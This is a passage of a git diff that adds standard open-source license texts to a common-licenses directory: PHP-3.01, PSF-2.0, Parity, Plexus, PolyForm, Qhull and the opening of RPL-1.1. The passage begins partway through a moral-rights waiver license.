+ a. For jurisdictions allowing waiver of moral rights, Licensor waives all moral rights that Licensor may have in the Work to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4;
+
+ b. If waiver of moral rights under Section 3.4 a in the relevant jurisdiction is not possible, Licensor agrees not to assert any moral rights over the Work and waives all claims in moral rights to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert moral rights under Section 3.4 a and b, the author may retain their moral rights over the copyrighted aspects of the Work.
+
+Please note that some jurisdictions do not allow for the waiver of moral rights, and so moral rights may still subsist over the work in some jurisdictions.
+
+4.0 Relationship to other rights
+
+4.1 No other contractual conditions. The Rightsholder makes this Work available to You without any other contractual obligations, either express or implied. Any Community Norms statement associated with the Work is not a contract and does not form part of this Document.
+
+4.2 Relationship to patents. This Document does not grant You a licence for any patents that the Rightsholder may own. Users of this Database are cautioned that they may have to clear other rights or consult other licences.
+
+4.3 Relationship to trade marks. This Document does not grant You a licence for any trade marks that the Rightsholder may own or that the Rightsholder may use to cover the Work. Users of this Database are cautioned that they may have to clear other rights or consult other licences. Part III: General provisions
+
+5.0 Warranties, disclaimer, and limitation of liability
+
+5.1 The Work is provided by the Rightsholder "as is" and without any warranty of any kind, either express or implied, whether of title, of accuracy or completeness, of the presence of absence of errors, of fitness for purpose, or otherwise. Some jurisdictions do not allow the exclusion of implied warranties, so this exclusion may not apply to You.
+
+5.2 Subject to any liability that may not be excluded or limited by law, the Rightsholder is not liable for, and expressly excludes, all liability for loss or damage however and whenever caused to anyone by any use under this Document, whether by You or by anyone else, and whether caused by any fault on the part of the Rightsholder or not. This exclusion of liability includes, but is not limited to, any special, incidental, consequential, punitive, or exemplary damages. This exclusion applies even if the Rightsholder has been advised of the possibility of such damages.
+
+5.3 If liability may not be excluded by law, it is limited to actual and direct financial loss to the extent it is caused by proved negligence on the part of the Rightsholder.
+
+6.0 General
+
+6.1 If any provision of this Document is held to be invalid or unenforceable, that must not affect the cvalidity or enforceability of the remainder of the terms of this Document.
+
+6.2 This Document is the entire agreement between the parties with respect to the Work covered here. It replaces any earlier understandings, agreements or representations with respect to the Work not specified here.
+
+6.3 This Document does not affect any rights that You or anyone else may independently have under any applicable law to make any use of this Work, including (for jurisdictions where this Document is a licence) fair dealing, fair use, database exceptions, or any other legally recognised limitation or exception to infringement of copyright or other applicable laws.
+
+6.4 This Document takes effect in the relevant jurisdiction in which the Document terms are sought to be enforced. If the rights waived or granted under applicable law in the relevant jurisdiction includes additional rights not waived or granted under this Document, these additional rights are included in this Document in order to meet the intent of this Document.
diff --git a/meta/files/common-licenses/PHP-3.01 b/meta/files/common-licenses/PHP-3.01
new file mode 100644
index 0000000000..6ffc95218f
--- /dev/null
+++ b/meta/files/common-licenses/PHP-3.01
@@ -0,0 +1,27 @@
+The PHP License, version 3.01
+
+Copyright (c) 1999 - 2012 The PHP Group. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "PHP" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact group@php.net.
+
+4. Products derived from this software may not be called "PHP", nor may "PHP" appear in their name, without prior written permission from group@php.net. You may indicate that your software works in conjunction with PHP by saying "Foo for PHP" instead of calling it "PHP Foo" or "phpfoo"
+
+5. The PHP Group may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by the PHP Group. No one other than the PHP Group has the right to modify the terms applicable to covered code created under this License.
+
+6. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes PHP software, freely available from <http://www.php.net/software/>".
+
+THIS SOFTWARE IS PROVIDED BY THE PHP DEVELOPMENT TEAM ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE PHP DEVELOPMENT TEAM OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This software consists of voluntary contributions made by many individuals on behalf of the PHP Group.
+
+The PHP Group can be contacted via Email at group@php.net.
+
+For more information on the PHP Group and the PHP project, please see <http://www.php.net>.
+
+PHP includes the Zend Engine, freely available at <http://www.zend.com>.
diff --git a/meta/files/common-licenses/PSF-2.0 b/meta/files/common-licenses/PSF-2.0
new file mode 100644
index 0000000000..4e673e93fc
--- /dev/null
+++ b/meta/files/common-licenses/PSF-2.0
@@ -0,0 +1,49 @@
+
+PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
+--------------------------------------------
+
+1. This LICENSE AGREEMENT is between the Python Software Foundation
+("PSF"), and the Individual or Organization ("Licensee") accessing and
+otherwise using this software ("Python") in source or binary form and
+its associated documentation.
+
+2. Subject to the terms and conditions of this License Agreement, PSF
+hereby grants Licensee a nonexclusive, royalty-free, world-wide
+license to reproduce, analyze, test, perform and/or display publicly,
+prepare derivative works, distribute, and otherwise use Python
+alone or in any derivative version, provided, however, that PSF's
+License Agreement and PSF's notice of copyright, i.e., "Copyright (c)
+2001, 2002, 2003, 2004, 2005, 2006 Python Software Foundation; All Rights
+Reserved" are retained in Python alone or in any derivative version
+prepared by Licensee.
+
+3. In the event Licensee prepares a derivative work that is based on
+or incorporates Python or any part thereof, and wants to make
+the derivative work available to others as provided herein, then
+Licensee hereby agrees to include in any such work a brief summary of
+the changes made to Python.
+
+4. PSF is making Python available to Licensee on an "AS IS"
+basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
+IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
+DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
+FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
+INFRINGE ANY THIRD PARTY RIGHTS.
+
+5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
+FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
+A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
+OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
+
+6. This License Agreement will automatically terminate upon a material
+breach of its terms and conditions.
+
+7. Nothing in this License Agreement shall be deemed to create any
+relationship of agency, partnership, or joint venture between PSF and
+Licensee. This License Agreement does not grant permission to use PSF
+trademarks or trade name in a trademark sense to endorse or promote
+products or services of Licensee, or any third party.
+
+8. By copying, installing or otherwise using Python, Licensee
+agrees to be bound by the terms and conditions of this License
+Agreement.
diff --git a/meta/files/common-licenses/Parity-6.0.0 b/meta/files/common-licenses/Parity-6.0.0
new file mode 100644
index 0000000000..a3bb2a623d
--- /dev/null
+++ b/meta/files/common-licenses/Parity-6.0.0
@@ -0,0 +1,44 @@
+The Parity Public License 6.0.0
+
+Contributor: Example, Inc.
+
+Source Code: https://example.com/sourcecode
+
+This license lets you use and share this software for free, as
+long as you contribute software you make with it. Specifically:
+
+If you follow the rules below, you may do everything with this
+software that would otherwise infringe either the contributor's
+copyright in it, any patent claim the contributor can license,
+or both.
+
+1. Contribute changes and additions you make to this software.
+
+2. If you combine this software with other software, contribute
+ that other software.
+
+3. Contribute software you develop, deploy, monitor, or run with
+ this software.
+
+4. Ensure everyone who gets a copy of this software from you, in
+ source code or any other form, gets the text of this license
+ and the contributor and source code lines above.
+
+5. Do not make any legal claim against anyone accusing this
+ software, with or without changes, alone or with other
+ software, of infringing any patent claim.
+
+To contribute software, publish all its source code, in the
+preferred form for making changes, through a freely accessible
+distribution system widely used for similar source code, and
+license contributions not already licensed to the public on terms
+as permissive as this license accordingly.
+
+You are excused for unknowingly breaking 1, 2, or 3 if you
+contribute as required, or stop doing anything requiring this
+license, within 30 days of learning you broke the rule.
+
+**As far as the law allows, this software comes as is, without
+any warranty, and the contributor will not be liable to anyone
+for any damages related to this software or this license, for any
+kind of legal claim.**
diff --git a/meta/files/common-licenses/Parity-7.0.0 b/meta/files/common-licenses/Parity-7.0.0
new file mode 100644
index 0000000000..e5e022061b
--- /dev/null
+++ b/meta/files/common-licenses/Parity-7.0.0
@@ -0,0 +1,71 @@
+# The Parity Public License 7.0.0
+
+Contributor: Artless Devices, LLC [US-CA]
+
+Source Code: https://github.com/licensezero/licensezero.com
+
+## Purpose
+
+This license allows you to use and share this software for free, but you have to share software that builds on it alike.
+
+## Agreement
+
+In order to receive this license, you have to agree to its rules. Those rules are both obligations under that agreement and conditions to your license. Don't do anything with this software that triggers a rule you can't or won't follow.
+
+## Notices
+
+Make sure everyone who gets a copy of any part of this software from you, with or without changes, also gets the text of this license and the contributor and source code lines above.
+
+## Copyleft
+
+[Contribute](#contribute) software you develop, operate, or analyze with this software, including changes or additions to this software. When in doubt, [contribute](#contribute).
+
+## Prototypes
+
+You don't have to [contribute](#contribute) any change, addition, or other software that meets all these criteria:
+
+1. You don't use it for more than thirty days.
+
+2. You don't share it outside the team developing it, other than for non-production user testing.
+
+3. You don't develop, operate, or analyze other software with it for anyone outside the team developing it.
+
+## Reverse Engineering
+
+You may use this software to operate and analyze software you can't [contribute](#contribute) in order to develop alternatives you can and do [contribute](#contribute).
+
+## Contribute
+
+To [contribute](#contribute) software:
+
+1. Publish all source code for the software in the preferred form for making changes through a freely accessible distribution system widely used for similar source code so the contributor and others can find and copy it.
+
+2. Make sure every part of the source code is available under this license or another license that allows everything this license does, such as [the Blue Oak Model License 1.0.0](https://blueoakcouncil.org/license/1.0.0), [the Apache License 2.0](https://www.apache.org/licenses/LICENSE-2.0.html), [the MIT license](https://spdx.org/licenses/MIT.html), or [the two-clause BSD license](https://spdx.org/licenses/BSD-2-Clause.html).
+
+3. Take these steps within thirty days.
+
+4. Note that this license does _not_ allow you to change the license terms for this software. You must follow [Notices](#notices).
+
+## Excuse
+
+You're excused for unknowingly breaking [Copyleft](#copyleft) if you [contribute](#contribute) as required, or stop doing anything requiring this license, within thirty days of learning you broke the rule. You're excused for unknowingly breaking [Notices](#notices) if you take all practical steps to comply within thirty days of learning you broke the rule.
+
+## Defense
+
+Don't make any legal claim against anyone accusing this software, with or without changes, alone or with other technology, of infringing any patent.
+
+## Copyright
+
+The contributor licenses you to do everything with this software that would otherwise infringe their copyright in it.
+
+## Patent
+
+The contributor licenses you to do everything with this software that would otherwise infringe any patents they can license or become able to license.
+
+## Reliability
+
+The contributor can't revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is, without any warranty or condition, and the contributor won't be liable to anyone for any damages related to this software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Plexus b/meta/files/common-licenses/Plexus
new file mode 100644
index 0000000000..c92bc72454
--- /dev/null
+++ b/meta/files/common-licenses/Plexus
@@ -0,0 +1,15 @@
+Copyright 2002 (C) The Codehaus. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "classworlds” must not be used to endorse or promote products derived from this Software without prior written permission of The Codehaus. For written permission, please contact bob@codehaus.org.
+
+4. Products derived from this Software may not be called "classworlds” nor may "classworlds” appear in their names without prior written permission of The Codehaus. "classworlds” is a registered trademark of The Codehaus.
+
+5. Due credit should be given to The Codehaus. (http://classworlds.codehaus.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE CODEHAUS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE CODEHAUS OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0 b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
new file mode 100644
index 0000000000..1a71cb6439
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
@@ -0,0 +1,131 @@
+# PolyForm Noncommercial License 1.0.0
+
+<https://polyformproject.org/licenses/noncommercial/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Noncommercial Purposes
+
+Any noncommercial purpose is a permitted purpose.
+
+## Personal Uses
+
+Personal use for research, experiment, and testing for
+the benefit of public knowledge, personal study, private
+entertainment, hobby projects, amateur pursuits, or religious
+observance, without any anticipated commercial application,
+is use for a permitted purpose.
+
+## Noncommercial Organizations
+
+Use by any charitable organization, educational institution,
+public research organization, public safety or health
+organization, environmental protection organization,
+or government institution is use for a permitted purpose
+regardless of the source of funding or obligations resulting
+from the funding.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/PolyForm-Small-Business-1.0.0 b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
new file mode 100644
index 0000000000..5b5790e04a
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
@@ -0,0 +1,121 @@
+# PolyForm Small Business License 1.0.0
+
+<https://polyformproject.org/licenses/small-business/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## Small Business
+
+Use of the software for the benefit of your company is use for
+a permitted purpose if your company has fewer than 100 total
+individuals working as employees and independent contractors,
+and less than 1,000,000 USD (2019) total revenue in the prior
+tax year. Adjust this revenue threshold for inflation according
+to the United States Bureau of Labor Statistics' consumer price
+index for all urban consumers, U.S. city average, for all items,
+not seasonally adjusted, with 1982–1984=100 reference base.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/Qhull b/meta/files/common-licenses/Qhull
new file mode 100644
index 0000000000..0c795af167
--- /dev/null
+++ b/meta/files/common-licenses/Qhull
@@ -0,0 +1,17 @@
+Qhull, Copyright (c) 1993-2003
+
+The National Science and Technology Research Center for Computation and Visualization of Geometric Structures (The Geometry Center) University of Minnesota
+
+email: qhull@qhull.org
+
+This software includes Qhull from The Geometry Center. Qhull is copyrighted as noted above. Qhull is free software and may be obtained via http from www.qhull.org. It may be freely copied, modified, and redistributed under the following conditions:
+
+1. All copyright notices must remain intact in all files.
+
+2. A copy of this text file must be distributed along with any copies of Qhull that you redistribute; this includes copies that you have modified, or copies of programs or other software products that include Qhull.
+
+3. If you modify Qhull, you must include a notice giving the name of the person performing the modification, the date of modification, and the reason for such modification.
+
+4. When distributing modified versions of Qhull, or other software products that include Qhull, you must provide notice that the original source code may be obtained as noted above.
+
+5. There is no warranty or other guarantee of fitness for Qhull, it is provided solely "as is". Bug reports or fixes may be sent to qhull_bug@qhull.org; the authors may or may not act on them as they desire.
diff --git a/meta/files/common-licenses/RPL-1.1 b/meta/files/common-licenses/RPL-1.1
new file mode 100644
index 0000000000..8db27a884c
--- /dev/null
+++ b/meta/files/common-licenses/RPL-1.1
@@ -0,0 +1,177 @@
+Reciprocal Public License, version 1.1
+
+Copyright (C) 2001-2002 Technical Pursuit Inc., All Rights Reserved.
+
+PREAMBLE
+
+This Preamble is intended to describe, in plain English, the nature, intent, and scope of this License. However, this Preamble is not a part of this License. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License is based on the concept of reciprocity. In exchange for being granted certain rights under the terms of this License to Licensor's Software, whose Source Code You have access to, You are required to reciprocate by providing equal access and rights to all third parties to the Source Code of any Modifications, Derivative Works, and Required Components for execution of same (collectively defined as Extensions) that You Deploy by Deploying Your Extensions under the terms of this License. In this fashion the available Source Code related to the original Licensed Software is enlarged for the benefit of everyone.
+
+Under the terms of this License You may:
+
+a. Distribute the Licensed Software exactly as You received it under the terms of this License either alone or as a component of an aggregate software distribution containing programs from several different sources without payment of a royalty or other fee.
+
+b. Use the Licensed Software for any purpose consistent with the rights granted by this License, but the Licensor is not providing You any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Software doesn't work properly or causes You any injury or damages.
+
+c. Create Extensions to the Licensed Software consistent with the rights granted by this License, provided that You make the Source Code to any Extensions You Deploy available to all third parties under the terms of this License, document Your Modifications clearly, and title all Extensions distinctly from the Licensed Software.
+
+d. Charge a fee for warranty or support, or for accepting indemnity or liability obligations for Your customers.
+
+Under the terms of this License You may not:
+
+a. Charge for the Source Code to the Licensed Software, or Your Extensions, other than a nominal fee not to exceed Your cost for reproduction and distribution where such reproduction and distribution involve physical media.
+
+b. Modify or delete any pre-existing copyright notices, change notices, or License text in the Licensed Software.
+
+c. Assert any patent claims against the Licensor or Contributors, or which would in any way restrict the ability of any third party to use the Licensed Software or portions thereof in any form under the terms of this License, or Your rights to the Licensed Software under this License automatically terminate.
+
+d. Represent either expressly or by implication, appearance, or otherwise that You represent Licensor or
+
+Contributors in any capacity or that You have any form of legal association by virtue of this License.
+
+Under the terms of this License You must:
+
+a. Document any Modifications You make to the Licensed Software including the nature of the change, the authors of the change, and the date of the change. This documentation must appear both in the Source Code and in a text file titled "CHANGES" distributed with the Licensed Software and Your Extensions.
+
+b. Make the Source Code for any Extensions You Deploy available in a timely fashion via an Electronic Distribution Mechanism such as FTP or HTTP download.
+
+c. Notify the Licensor of the availability of Source Code to Your Extensions in a timely fashion and include in such notice a brief description of the Extensions, the distinctive title used, and instructions on how to acquire the Source Code and future updates.
+
+d. Grant Licensor and all third parties a world-wide, non-exclusive, royalty-free license under any intellectual property rights owned or controlled by You to use, reproduce, display, perform, modify, sublicense, and distribute Your Extensions, in any form, under the terms of this License.
+
+LICENSE TERMS
+
+1.0 General; Applicability & Definitions. This Reciprocal Public License Version 1.1 ("License") applies to any programs or other works as well as any and all updates or maintenance releases of said programs or works ("Software") not already covered by this License which the Software copyright holder ("Licensor") makes publicly available containing a Notice (hereinafter defined) from the Licensor specifying or allowing use or distribution under the terms of this License. As used in this License and Preamble:
+
+ 1.1 "Contributor" means any person or entity who created or contributed to the creation of an Extension.
+
+ 1.2 "Deploy" means to use, Serve, sublicense or distribute Licensed Software other than for Your internal Research and/or Personal Use, and includes without limitation, any and all internal use or distribution of Licensed Software within Your business or organization other than for Research and/or Personal Use, as well as direct or indirect sublicensing or distribution of Licensed Software by You to any third party in any form or manner.
+
+ 1.3 "Derivative Works" as used in this License is defined under U.S. copyright law.
+
+ 1.4 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data such as download from an FTP or web site, where such mechanism is publicly accessible.
+
+ 1.5 "Extensions" means any Modifications, Derivative Works, or Required Components as those terms are defined in this License.
+
+ 1.6 "License" means this Reciprocal Public License.
+
+ 1.7 "Licensed Software" means any Software licensed pursuant to this License. Licensed Software also includes all previous Extensions from any Contributor that You receive.
+
+ 1.8 "Licensor" means the copyright holder of any Software previously uncovered by this License who releases the Software under the terms of this License.
+
+ 1.9 "Modifications" means any additions to or deletions from the substance or structure of (i) a file or other storage containing Licensed Software, or (ii) any new file or storage that contains any part of Licensed Software, or (iii) any file or storage which replaces or otherwise alters the original functionality of Licensed Software at runtime.
+
+ 1.10 "Notice" means the notice contained in EXHIBIT A.
+
+ 1.11 "Personal Use" means use of Licensed Software by an individual solely for his or her personal, private and non-commercial purposes. An individual's use of Licensed Software in his or her capacity as an officer, employee, member, independent contractor or agent of a corporation, business or organization (commercial or non-commercial) does not qualify as Personal Use.
+
+ 1.12 "Required Components" means any text, programs, scripts, schema, interface definitions, control files, or other works created by You which are required by a third party of average skill to successfully install and run Licensed Software containing Your Modifications, or to install and run Your Derivative Works.
+
+ 1.13 "Research" means investigation or experimentation for the purpose of understanding the nature and limits of the Licensed Software and its potential uses.
+
+ 1.14 "Serve" means to deliver Licensed Software and/or Your Extensions by means of a computer network to one or more computers for purposes of execution of Licensed Software and/or Your Extensions.
+
+ 1.15 "Software" means any computer programs or other works as well as any updates or maintenance releases of those programs or works which are distributed publicly by Licensor.
+
+ 1.16 "Source Code" means the preferred form for making modifications to the Licensed Software and/or Your Extensions, including all modules contained therein, plus any associated text, interface definition files, scripts used to control compilation and installation of an executable program or other components required by a third party of average skill to build a running version of the Licensed Software or Your Extensions.
+
+ 1.17 "You" or "Your" means an individual or a legal entity exercising rights under this License. For legal entities, "You" or "Your" includes any entity which controls, is controlled by, or is under common control with, You, where "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2.0 Acceptance Of License. You are not required to accept this License since you have not signed it, however nothing else grants you permission to use, copy, distribute, modify, or create derivatives of either the Software or any Extensions created by a Contributor. These actions are prohibited by law if you do not accept this License. Therefore, by performing any of these actions You indicate Your acceptance of this License and Your agreement to be bound by all its terms and conditions. IF YOU DO NOT AGREE WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE DO NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE. IF IT IS IMPOSSIBLE FOR YOU TO COMPLY WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE THEN YOU CAN NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE.
+
+3.0 Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to Licensor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 3.1 Use, reproduce, modify, display, perform, sublicense and distribute Licensed Software and Your Extensions in both Source Code form or as an executable program.
+
+ 3.2 Create Derivative Works (as that term is defined under U.S. copyright law) of Licensed Software by adding to or deleting from the substance or structure of said Licensed Software.
+
+ 3.3 Under claims of patents now or hereafter owned or controlled by Licensor, to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof.
+
+ 3.4 Licensor reserves the right to release new versions of the Software with different features, specifications, capabilities, functions, licensing terms, general availability or other characteristics. Title, ownership rights, and intellectual property rights in and to the Licensed Software shall remain in Licensor and/or its Contributors.
+
+4.0 Grant of License From Contributor. By application of the provisions in Section 6 below, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to said Contributor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 4.1 Use, reproduce, modify, display, perform, sublicense and distribute any Extensions Deployed by such Contributor or portions thereof, in both Source Code form or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ 4.2 Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, have made, and/or otherwise dispose of Extensions or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Contributor's Extensions or portions thereof.
+
+5.0 Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. Except as expressly stated in Sections 3 and 4, no other patent rights, express or implied, are granted herein. Your Extensions may require additional patent licenses from Licensor or Contributors which each may grant in its sole discretion. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Software. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license.
+
